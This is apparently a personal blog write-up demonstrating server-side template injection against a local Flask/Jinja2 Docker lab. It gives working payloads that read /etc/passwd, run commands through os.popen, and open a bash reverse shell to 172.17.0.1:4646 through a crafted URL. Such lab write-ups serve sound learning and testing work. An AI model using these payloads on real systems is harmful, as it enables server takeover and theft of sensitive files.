SSTI Vulnerability
What is SSTI?
Server-side template injection (SSTI) is when an attacker can use native template syntax to inject a malicious payload into a template, which is then executed server-side.
Template engines are designed to generate webpages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them much more dangerous than a typical client-side template injection.
Installing and Preparing Lab
I will be using the SSTI-flak-hacking-playground docker lab.
docker run -p 8089:8089 -d filipkarc/ssti-flask-hacking-playground
docker ps
Attacking
Understanding
Now, by opening our web browser and entering http://localhost:8089, we should see this web page.
We can note that this webpage uses a Template to present content dynamically.
Hacking
We are going to start scanning the Technologies used in this webpage by using whatweb tool. You will see that web uses Python.
whatweb "http://127.0.0.1:8089/"
Verifying SSTI
First, you should verify if the web presents an SSTI vulnerability. So, let's try putting in a basic Python math operation.
{{7*7}}
Also, you can try out another Python operation, like this.
{{'7'*7}}
Reading Sensitive Files
Now that we have been able to verify the existence of this SSTI vulnerability, we could use a lot of Payloads on the web like Payloads All The Things - SSTI - Python Jinja2 and try out something like this.
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
This code accesses the /etc/passwd file through a Python function and attributes and then reads the entire contents of the file.
Doing an RCE
As attackers, we wish to execute commands right? You can do it by using another payload, Exploit the SSTI by calling os.popen().read(), from Payloads All The Things.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
To do it more dangerously, we could deploy a netcat listener to obtain a Reverse Shell from the victim along with the basic RS one-liner.
bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4646 0>%261"
And in the web browser URL.
http://localhost:8089/?user={{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4646 0>%261"').read() }}
I appreciate your time reading this write-up 😁 and I hope it has been valuable for your understanding of the topic, remember that this content does not come 100% from me. Writing this article is a way to reinforce my learning obtained from S4vitar's Hack4u courses 🔥.
Subscribe to my newsletter
Read articles from Cxnsxle directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by